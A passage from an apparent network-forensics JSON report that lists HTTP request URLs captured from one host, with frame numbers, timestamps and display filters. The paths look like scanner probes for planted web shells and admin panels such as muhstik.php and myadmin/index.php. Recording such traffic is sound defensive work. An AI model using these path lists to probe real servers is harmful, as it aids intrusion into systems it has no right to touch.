        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 26,
            "frame_number": 834,
            "display_filter": "frame.number == 834",
            "timestamp_epoch": "1577255721.789655000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-95d2c2a1f32ad59f279ea89b",
        "type": "url",
        "value": "http://128.199.64.235/kvast.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 64,
            "frame_number": 1954,
            "display_filter": "frame.number == 1954",
            "timestamp_epoch": "1577256249.846670000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-fa757fe60d24e29a69b0eb8c",
        "type": "url",
        "value": "http://128.199.64.235/l.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 1,
            "frame_number": 25,
            "display_filter": "frame.number == 25",
            "timestamp_epoch": "1577255333.294663000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-c4791be89fc13544890c18b3",
        "type": "url",
        "value": "http://128.199.64.235/l6.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 35,
            "frame_number": 1209,
            "display_filter": "frame.number == 1209",
            "timestamp_epoch": "1577255873.714277000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-2a74c1bfc59989a7b0fc273a",
        "type": "url",
        "value": "http://128.199.64.235/l7.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 35,
            "frame_number": 1212,
            "display_filter": "frame.number == 1212",
            "timestamp_epoch": "1577255874.003543000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-058aa30de5edca0eb001fc66",
        "type": "url",
        "value": "http://128.199.64.235/l8.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 35,
            "frame_number": 1215,
            "display_filter": "frame.number == 1215",
            "timestamp_epoch": "1577255874.277267000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-38bcbd816631cac9178e7246",
        "type": "url",
        "value": "http://128.199.64.235/lala-dpr.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 142,
            "display_filter": "frame.number == 142",
            "timestamp_epoch": "1577255378.881734000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d7363514ade3aa5fab1805c0",
        "type": "url",
        "value": "http://128.199.64.235/lala.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 139,
            "display_filter": "frame.number == 139",
            "timestamp_epoch": "1577255373.948368000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-208f6af87dea4d1a7192fa10",
        "type": "url",
        "value": "http://128.199.64.235/lang.php?f=1",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 6,
            "frame_number": 347,
            "display_filter": "frame.number == 347",
            "timestamp_epoch": "1577255440.560179000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-950619cea49f70118d226e69",
        "type": "url",
        "value": "http://128.199.64.235/lanke.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 58,
            "frame_number": 1835,
            "display_filter": "frame.number == 1835",
            "timestamp_epoch": "1577256202.542300000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-b4c06ecf704cae2edd852c11",
        "type": "url",
        "value": "http://128.199.64.235/lapan.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1060,
            "display_filter": "frame.number == 1060",
            "timestamp_epoch": "1577255806.996395000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-b665723cdd1f6429ccfd29d7",
        "type": "url",
        "value": "http://128.199.64.235/laravel.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 402,
            "display_filter": "frame.number == 402",
            "timestamp_epoch": "1577255485.214673000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-8aaa25a4524fc3e1912b402e",
        "type": "url",
        "value": "http://128.199.64.235/ldw.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1613,
            "display_filter": "frame.number == 1613",
            "timestamp_epoch": "1577256096.218241000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-05b4ae5312fd33b84ca17f74",
        "type": "url",
        "value": "http://128.199.64.235/liangchen.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 59,
            "frame_number": 1863,
            "display_filter": "frame.number == 1863",
            "timestamp_epoch": "1577256206.256217000"
          },
          {
            "tcp_stream": 60,
            "frame_number": 1869,
            "display_filter": "frame.number == 1869",
            "timestamp_epoch": "1577256209.798399000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-3649928c02992b445501f73d",
        "type": "url",
        "value": "http://128.199.64.235/license.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 106,
            "display_filter": "frame.number == 106",
            "timestamp_epoch": "1577255370.291541000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-bcd4c3d1f4ff0ed234d26571",
        "type": "url",
        "value": "http://128.199.64.235/lindex.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 31,
            "frame_number": 1107,
            "display_filter": "frame.number == 1107",
            "timestamp_epoch": "1577255824.342116000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-826c8870e7d672394ba706d9",
        "type": "url",
        "value": "http://128.199.64.235/link.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 64,
            "frame_number": 1945,
            "display_filter": "frame.number == 1945",
            "timestamp_epoch": "1577256247.383709000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-fc98de3b19a1f73bc9b40621",
        "type": "url",
        "value": "http://128.199.64.235/linkr.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 64,
            "frame_number": 1948,
            "display_filter": "frame.number == 1948",
            "timestamp_epoch": "1577256247.641969000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-68fdec082b6c71c8c4e0384f",
        "type": "url",
        "value": "http://128.199.64.235/linkx.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 64,
            "frame_number": 1951,
            "display_filter": "frame.number == 1951",
            "timestamp_epoch": "1577256249.571656000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f3d62afc38f6c6662f50cc9e",
        "type": "url",
        "value": "http://128.199.64.235/linux.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 57,
            "frame_number": 1818,
            "display_filter": "frame.number == 1818",
            "timestamp_epoch": "1577256195.981178000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4b08eb32bfd06393da60c101",
        "type": "url",
        "value": "http://128.199.64.235/linux1.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 57,
            "frame_number": 1821,
            "display_filter": "frame.number == 1821",
            "timestamp_epoch": "1577256196.257470000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-012ce3941e774badf94605df",
        "type": "url",
        "value": "http://128.199.64.235/linuxse.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 43,
            "frame_number": 1363,
            "display_filter": "frame.number == 1363",
            "timestamp_epoch": "1577255968.121943000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-02a915d4a1d64a207d638a65",
        "type": "url",
        "value": "http://128.199.64.235/ljb.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 63,
            "frame_number": 1909,
            "display_filter": "frame.number == 1909",
            "timestamp_epoch": "1577256230.243751000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-1cdcee93329a6e68ae768c68",
        "type": "url",
        "value": "http://128.199.64.235/lkio.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 28,
            "frame_number": 877,
            "display_filter": "frame.number == 877",
            "timestamp_epoch": "1577255755.114030000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-6cd4ea3a168a78de9b63fb6b",
        "type": "url",
        "value": "http://128.199.64.235/lm.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 64,
            "frame_number": 1966,
            "display_filter": "frame.number == 1966",
            "timestamp_epoch": "1577256255.154337000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d52f55c7b23ae7c9f4b3eceb",
        "type": "url",
        "value": "http://128.199.64.235/lmn.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 65,
            "frame_number": 1986,
            "display_filter": "frame.number == 1986",
            "timestamp_epoch": "1577256279.598483000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-597faeec4acc2b80049e857e",
        "type": "url",
        "value": "http://128.199.64.235/log.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 109,
            "display_filter": "frame.number == 109",
            "timestamp_epoch": "1577255370.559401000"
          },
          {
            "tcp_stream": 55,
            "frame_number": 1758,
            "display_filter": "frame.number == 1758",
            "timestamp_epoch": "1577256169.753584000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-52ad24a65b94f6b0a5838970",
        "type": "url",
        "value": "http://128.199.64.235/logo.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 975,
            "display_filter": "frame.number == 975",
            "timestamp_epoch": "1577255786.831303000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-940776cd76ba506ac1c95b95",
        "type": "url",
        "value": "http://128.199.64.235/logon.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 100,
            "display_filter": "frame.number == 100",
            "timestamp_epoch": "1577255369.755450000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-17585b894dfe706e784370f0",
        "type": "url",
        "value": "http://128.199.64.235/lol.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 183,
            "display_filter": "frame.number == 183",
            "timestamp_epoch": "1577255393.209701000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d0f5430bee9e0fbcc3c46b33",
        "type": "url",
        "value": "http://128.199.64.235/lost.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 56,
            "frame_number": 1796,
            "display_filter": "frame.number == 1796",
            "timestamp_epoch": "1577256189.393159000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-2cec6c99ad1a7bb41b571a1d",
        "type": "url",
        "value": "http://128.199.64.235/lz.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 27,
            "frame_number": 851,
            "display_filter": "frame.number == 851",
            "timestamp_epoch": "1577255725.953590000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-5555660ac8cd4382305e2be8",
        "type": "url",
        "value": "http://128.199.64.235/m.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1674,
            "display_filter": "frame.number == 1674",
            "timestamp_epoch": "1577256136.077006000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-fd0283ba5f084686a29a78cd",
        "type": "url",
        "value": "http://128.199.64.235/m.php?pbid=open",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1045,
            "display_filter": "frame.number == 1045",
            "timestamp_epoch": "1577255805.584484000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-46cfc99104030113554fcb44",
        "type": "url",
        "value": "http://128.199.64.235/manager/html",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 76,
            "frame_number": 2420,
            "display_filter": "frame.number == 2420",
            "timestamp_epoch": "1577256450.983470000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-433e673193ed635b5b401d6c",
        "type": "url",
        "value": "http://128.199.64.235/mazi.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 50,
            "frame_number": 1491,
            "display_filter": "frame.number == 1491",
            "timestamp_epoch": "1577256049.888275000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-41d3755c732fa05199f79685",
        "type": "url",
        "value": "http://128.199.64.235/meijianxue.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 448,
            "display_filter": "frame.number == 448",
            "timestamp_epoch": "1577255503.872644000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-b8b6522e397333fb089c65b2",
        "type": "url",
        "value": "http://128.199.64.235/meng.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 62,
            "frame_number": 1882,
            "display_filter": "frame.number == 1882",
            "timestamp_epoch": "1577256214.874055000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-79c9d5423e6ddd45e52753de",
        "type": "url",
        "value": "http://128.199.64.235/miao.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 936,
            "display_filter": "frame.number == 936",
            "timestamp_epoch": "1577255777.662062000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-7b1a5ea5088d46b38a8ea699",
        "type": "url",
        "value": "http://128.199.64.235/min.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 35,
            "frame_number": 1231,
            "display_filter": "frame.number == 1231",
            "timestamp_epoch": "1577255885.584540000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-332dcbc75a7d208f62fd24da",
        "type": "url",
        "value": "http://128.199.64.235/mjx.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 421,
            "display_filter": "frame.number == 421",
            "timestamp_epoch": "1577255492.273322000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-00aab822848dd0631210aed0",
        "type": "url",
        "value": "http://128.199.64.235/mm.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 28,
            "frame_number": 880,
            "display_filter": "frame.number == 880",
            "timestamp_epoch": "1577255755.394441000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-8582ba206bba5696bf2c9d72",
        "type": "url",
        "value": "http://128.199.64.235/mmp.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 28,
            "frame_number": 883,
            "display_filter": "frame.number == 883",
            "timestamp_epoch": "1577255757.689966000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a8e388ba75cb99149826577f",
        "type": "url",
        "value": "http://128.199.64.235/mobai.PHP",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 65,
            "frame_number": 2004,
            "display_filter": "frame.number == 2004",
            "timestamp_epoch": "1577256284.155219000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-b9c58d189f9af52e89fe80b5",
        "type": "url",
        "value": "http://128.199.64.235/Moxin.PHP",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 65,
            "frame_number": 1992,
            "display_filter": "frame.number == 1992",
            "timestamp_epoch": "1577256280.655285000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-3cd9ec9efb8162398a803a48",
        "type": "url",
        "value": "http://128.199.64.235/muhstik-dpr.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 180,
            "display_filter": "frame.number == 180",
            "timestamp_epoch": "1577255391.335069000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-ac4e4016c18aa1fba5e8a7d1",
        "type": "url",
        "value": "http://128.199.64.235/muhstik.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 162,
            "display_filter": "frame.number == 162",
            "timestamp_epoch": "1577255387.457217000"
          },
          {
            "tcp_stream": 5,
            "frame_number": 171,
            "display_filter": "frame.number == 171",
            "timestamp_epoch": "1577255390.499651000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-252406c1b07c015bbc65c3cc",
        "type": "url",
        "value": "http://128.199.64.235/muhstik2.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 174,
            "display_filter": "frame.number == 174",
            "timestamp_epoch": "1577255390.776754000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-7df807c1a07e5a43b6d91ff8",
        "type": "url",
        "value": "http://128.199.64.235/muhstiks.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 177,
            "display_filter": "frame.number == 177",
            "timestamp_epoch": "1577255391.053629000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-b5271e738be88a9ef7d1cb64",
        "type": "url",
        "value": "http://128.199.64.235/muma.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 28,
            "frame_number": 890,
            "display_filter": "frame.number == 890",
            "timestamp_epoch": "1577255759.861805000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-10ed1d657468e28e4fb6a19a",
        "type": "url",
        "value": "http://128.199.64.235/mx.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1081,
            "display_filter": "frame.number == 1081",
            "timestamp_epoch": "1577255812.954624000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-7b7f5cc1414fb91aac4bab58",
        "type": "url",
        "value": "http://128.199.64.235/my.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 588,
            "display_filter": "frame.number == 588",
            "timestamp_epoch": "1577255613.840418000"
          },
          {
            "tcp_stream": 30,
            "frame_number": 917,
            "display_filter": "frame.number == 917",
            "timestamp_epoch": "1577255771.320971000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-369b9602fa01b312fce5edb5",
        "type": "url",
        "value": "http://128.199.64.235/myadmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2194,
            "display_filter": "frame.number == 2194",
            "timestamp_epoch": "1577256373.744435000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-9572ef6c7dc2b43f9ec5ed68",
        "type": "url",
        "value": "http://128.199.64.235/MyAdmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2270,
            "display_filter": "frame.number == 2270",
            "timestamp_epoch": "1577256396.400909000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
